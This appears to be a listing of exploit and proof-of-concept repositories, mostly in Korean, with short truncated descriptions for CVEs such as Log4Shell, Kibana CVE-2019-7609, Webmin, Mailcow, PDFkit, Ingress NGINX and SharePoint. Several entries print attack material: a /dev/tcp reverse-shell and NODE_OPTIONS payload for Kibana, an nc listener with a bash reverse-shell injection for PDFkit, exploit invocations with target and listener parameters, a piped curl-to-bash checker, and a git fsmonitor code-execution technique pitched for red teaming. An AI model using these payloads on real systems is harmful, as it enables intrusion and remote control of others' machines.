CVE-2022-21907

CVE-2022-21907 HTTP 프로토콜 스택의 취약점으로 원격 코드 실행 및 잠재적 시스템 충돌 가능 목차 CVE-2022-21907 설명 환경 피해자 머신 설정 공격자 머신 설정 익스플로잇 개념 증명 참고 자료 설명 CVE-2022-21907은 Windows 10의 HTTP 프로토콜 스택http.sys에서 발생하는 취약점으로, 공격자가 HTTP 프로토콜 스택을 사용하여 패킷을 처리하는 대상 서버에 특수하게 조작된 패킷을 전송함으로써 악용될 수 있습니다. 이로 인해 서버가 응답하지 않거나 충돌하여 서비스 거부DDoS 공격...

CVE-2020-27955

Git-lfs 원격 코드 실행 RCE 익스플로잇 CVE-2020-27955 .bat / powershell 버전 취약한 대상: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken 등 발견자 Dawid Golunski https://legalhackers.com https://exploitbox.io Windows에서 테스트 완료: git, GitHub CLI gh, GitHub Desktop, Visual Studio...

CVE-2017-12615

CVE-2017-12615...

Mailcow-CVE-2022-31245

Mailcow CVE-2022-31245 CVE-2022-31245: Mailcow를 위한 RCE 및 도메인 관리자 권한 상승. POC 포함. 보고 및 수정: 2022-05 패치된 버전: https://github.com/mailcow/mailcow-dockerized/releases/tag/2022-05d CVE: https://vulners.com/cve/CVE-2022-31245 CVE-2022-31245: 명령 주입, RCE 심각도: 3/3 유형: 명령 주입, RCE, 도메인 탈취 영향을 받는 버전: 최소 2019 -...

CVE-2021-43258

CVE-2021-43258 ChurchInfo 1.2.13-1.3.0 원격 코드 실행 익스플로잇 전체 제목| ChurchInfo 1.2.13-1.3.0 원격 코드 실행 익스플로잇 ---|--- 추가 날짜| 21-11-2022 카테고리| 원격 익스플로잇 플랫폼| php 위험도| 보안 위험: 심각 설명| 이 Metasploit 모듈은 초안 이메일을 작성할 때 첨부 파일을 포함하는 CartView.php 페이지의 로직을 악용합니다. 초안 이메일에 첨부 파일을 업로드하면 해당 파일은 ChurchInfo 웹 서버의 /tmpattach/...

kibana-RCE

CVE-2019-7609 kibana-RCE & /dev/tcp/10.10.20.166/8989 0&1";process.exit//' .propslabel.proto.env.NODEOPTIONS='--require /proc/self/environ' 0x02 Canvas를 클릭하여 셸 획득...

CVE-2021-44228-Apache-Log4j-Rce

CVE-2021-44228Apache Log4j 원격 코드 실행） 모든 log4j-core 버전 =2.0-beta9 및 =2.14.1 1.x 버전에는 다른 취약점이 있습니다. 최신 버전으로 업데이트하는 것을 권장합니다. Log4ShellCVE-2021-44228 관련 보안 권고/게시판 사용법: 이 프로젝트를 다운로드하고, 익스플로잇 코드 blob/master/src/main/java/Exploit.java를 컴파일한 후, 컴파일된 바이너리를 다운로드할 수 있는 웹 서버를 시작하세요. git clone...

CVE-2024-4879-CVE-2024-5217-ServiceNow-RCE-Scanning

CVE-2024-4879-CVE-2024-5217-ServiceNow-RCE-Scanning CVE-2024-4879 & CVE-2024-5217 ServiceNow RCE 스캐닝 - Nuclei & Shodan Dork를 사용하여 찾기 리소스 취약점 정보 https://www.assetnote.io/resources/research/chaining-three-bugs-to-access-all-your-servicenow-data 사용법 nuclei -t...

CVE-2024-6782-PoC

CVE-2024-6782-PoC Usage: python3 callibre.py --target http://target:8080/ Calibre = 7.14.0의 Calibre 콘텐츠 서버를 통한 인증되지 않은 원격 코드 실행...

CVE-2023-41425

CVE-2023-41425 CVE-2023-41425 XSS에서 RCE로, Wonder CMS 3.2.0 = 3.4.2 사용법 ➜ CVE-2023-41425 python3 exploit.py Enter target URL RHOST, e.g., http://example.com/loginURL: http://redacted.com/loginURL Enter your local host IP LHOST, e.g., 10.10.14.xxx: xx.xx.xx.xx Enter your local web server port...

CVE-2024-3094-check

CVE-2024-3094 취약점 확인 도구 이 취약점은 공격자가 SSH 인증을 통과하지 않고 서버에 로그인하여 임의 코드를 실행할 수 있게 합니다. 자세한 내용은 다음을 참조하세요: https://www.openwall.com/lists/oss-security/2024/03/29/4 사용 방법 curl -fsSL https://raw.githubusercontent.com/wgetnz/CVE-2024-3094-check/main/CVE-2024-3094-check.sh| bash 또는 curl -fsSL...

Mitigate-CVE-2023-46747

CVE-2023-46747 완화를 위한 Ansible 플레이북 K000137353: BIG-IP 구성 유틸리티의 인증되지 않은 원격 코드 실행 취약점 CVE-2023-46747 다음은 링크입니다 https://my.f5.com/manage/s/article/K000137353 사용 방법 1. 내 저장소를 Git 클론하세요 https://github.com/maniak-academy/Mitigate-CVE-2023-46747.git 2. bigip 정보가 있으면 hosts.ini를 업데이트하세요. 3. 플레이북을 실행하세요...

CVE-2025-1974-poc

POC of IngressNightmare, RCE in Ingress NGINX CVE-2025-1974 Developed from: https://github.com/zwxxb/CVE-2025-1974/blob/main/poc.py https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilitieshow-did-we-discover-ingressnightmare-24 Thanks 사용 설명 forward the admission webhook kubectl port-forwa...

PDFkit-CMD-Injection

PDFkit-CMD-Injection CVE-2022-25765 詳細 説明 パッケージ pdfkit バージョン 0.0.0 以降 は、URL が適切にサニタイズされていないため、コマンドインジェクションに対して脆弱です。 PoC HTTP サーバーの起動 1- python3 -m http.server 80 netcat リスナーの起動 2- nc -lnvp 'Target Port' リクエストの送信 3- http://"TARGETADDRESS:Target PORT"//?name='%20bash -c 'exec bash -i...

git-fsmonitor

이것은 문서화된 알려진 문제이지만, 제 연구 중에 발견했으며 RT/PT에 매우 유용합니다. 요약: FSMonitor 헬퍼는 git status, git diff 등 모든 명령어에서 git에 의해 실행되므로 git은 지정된 경로를 맹목적으로 실행합니다. IDE는 폴더를 열자마자 자동으로 git status를 실행하여 SCM소스 제어 관리 패널을 채웁니다. 이를 통해 git은 공격자가 제어하는 코드를 실행하도록 구성된 헬퍼를 생성할 수 있습니다. 이 기술은 RT 중이나 침해 가정 시나리오에서 모든 C2 또는 당사의 XRayC2와 ...

CVE-2020-7247-exploit

CVE-2020-7247-exploit OpenSMTPD 6.4.0 - 6.6.1 원격 코드 실행 PoC 익스플로잇 참고: https://www.openwall.com/lists/oss-security/2020/01/28/3 사용법 python3 exploit.py 의존성 pip3 install --user pwntools...

CVE-2019-15107

CVE-2019-15107 webmin 또는 minisever RCE 스크립트 사용법: v1.890에서 테스트되었으며, 이 백도어가 설치된 다른 webmin 버전에서도 작동해야 합니다. python3 webminrce.py -t http://10.11.1.88:10000 -l 172.16.1.3 -p 8888...

monstra_cms-3.0.4--getshell

monstracms-3.0.4--getshell monstracms-3.0.4-업로드 getshell CVE- 2018-17418 코드 분석（Code analysis）： monstra\plugins\box\filesmanager\ filesmanager.admin.php의 150행에 블랙리스트 제한을 수행하는 forbiddentypes 변수가 있습니다. 이 변수를 계속 추적합니다. monstra\plugins\box\filesmanager\ filesmanager.admin.php의 150행에 블랙리스트로 지정된...

CVE-2021-26814

CVE-2021-26814 CVE-2021-26814 를 악용하고 Wazuh Manager v.4.0.0-4.0.3의 API 서비스를 통해 RCE를 얻을 수 있는 간단한 Python PoC입니다. 실행하려면 .py 스크립트를 실행 가능하게 만든 후 필요한 매개변수와 함께 실행하면 됩니다. PoC.py -h -user USERNAME -pwd PASSWORD -lip SRCIP -lport SRCPORT -tip DESTIP -tport DESTPORT 경고 : 매니저의 wazuh-apid.py 파일은 변경됩니다! 익스플로잇 완...

cve-2026-26114-poc

CVE-2026-26114 실습실 또는 테스트가 허가된 시스템에서만 사용하십시오. Python PoC pip install requests requests-ntlm python poc/cve202626114rce.py ^ --target http://sharepoint.local ^ --username spuser1 ^ --password "Password123!" ^ --domain SP19 ^ --cmd "cmd /c whoami C:\Windows\Temp\cve202626114.txt" --proxy...